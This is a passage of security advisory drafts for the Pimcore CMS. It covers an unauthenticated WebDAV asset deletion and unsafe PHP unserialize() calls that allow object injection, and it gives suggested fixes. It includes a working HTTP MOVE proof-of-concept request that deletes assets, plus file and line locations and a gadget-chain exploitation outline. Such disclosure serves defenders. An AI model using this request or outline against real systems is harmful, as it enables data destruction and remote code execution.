• Two existing asset paths in the same directory, for example /products/source.jpg and /products/existing.jpg.
• No valid session is required for the unauthenticated deletion path.

PoC request:

MOVE /asset/webdav/products/source.jpg HTTP/1.1
Host: target.example
Destination: http://target.example/asset/webdav/products/existing.jpg
Overwrite: T

Result:

The server will return an error after the deletion because Tree::move() later attempts to call $user->getId() when no current user exists. However, the source asset at /products/source.jpg has already been deleted by $sourceAsset->delete() before that failure point.

For an authenticated low-privileged backend user without sufficient asset permissions, the same request can also reach the unchecked move path and may overwrite the destination asset or move an asset without the expected per-asset permission checks.

Impact

This issue allows remote unauthorized destruction of assets when paths are known or guessable. In Pimcore deployments where assets represent product images, documents, media, or DAM-managed business content, deletion or unauthorized overwrite can cause data loss, content integrity loss, and service disruption.

GitHub Security Advisory Draft — GM-374

Summary

Multiple locations in Pimcore v11 call PHP's unserialize() on data from database columns and filesystem files without the allowed_classes restriction, enabling object injection if an attacker can control the serialized data source.

Severity

CVSS 3.1: 8.0 (High) — AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Component

• Package: pimcore/pimcore and pimcore/admin-ui-classic-bundle
• Files:
  • lib/Tool/Authentication.php (line 82) — session token deserialization
  • models/Site/Dao.php (line 68) — site domains from database
  • models/DataObject/ClassDefinition/CustomLayout/Dao.php (line 69) — layout definitions from database
  • models/Tool/TmpStore/Dao.php (line 64) — temporary store data from database
  • models/Asset/WebDAV/Service.php (line 36) — delete log from filesystem
  • admin-ui-classic-bundle/src/Helper/Dashboard.php (line 64) — dashboard config from filesystem

Description

Six locations in Pimcore core call unserialize() directly (bypassing Tool\Serialize) on data sourced from database columns or filesystem files without passing the allowed_classes parameter. This means any class available in the autoloader will be instantiated during deserialization.

If an attacker can write to the data source (e.g., via SQL injection targeting the tmp_store, sites, or custom_layouts tables, or via a file write vulnerability targeting the WebDAV delete log), they can inject serialized PHP gadget chains that execute arbitrary code when the data is deserialized.

This is related to but distinct from the Tool\Serialize::unserialize() issue — these calls bypass the wrapper entirely.

Impact

PHP object injection leading to Remote Code Execution when chained with a data source write vulnerability. Pimcore's dependency tree (Guzzle, Symfony, Monolog, Doctrine) provides numerous known gadget chains.

Proof of Concept

1. Identify a writable data source (e.g., tmp_store table via SQL injection, or webdav-delete.dat via file write)
2. Write a serialized PHP gadget chain (e.g., Monolog BufferHandler chain from phpggc)
3. Trigger the deserialization (e.g., access a page that reads TmpStore, or trigger a WebDAV operation)
4. The gadget chain executes with web server privileges

Suggested Fix

Add allowed_classes parameter to all unserialize() calls. Where no objects are needed, use ['allowed_classes' => false]. Consider migrating to JSON serialization for data that doesn't require object preservation.

// Example fix for Site/Dao.php:
$siteDomains = unserialize($site['domains'], ['allowed_classes' => false]);

// Example fix for TmpStore/Dao.php:
$item['data'] = unserialize($item['data'], ['allowed_classes' => false]);

References

• CWE-502: Deserialization of Untrusted Data
• OWASP Deserialization Cheat Sheet
• phpggc: PHP Generic Gadget Chains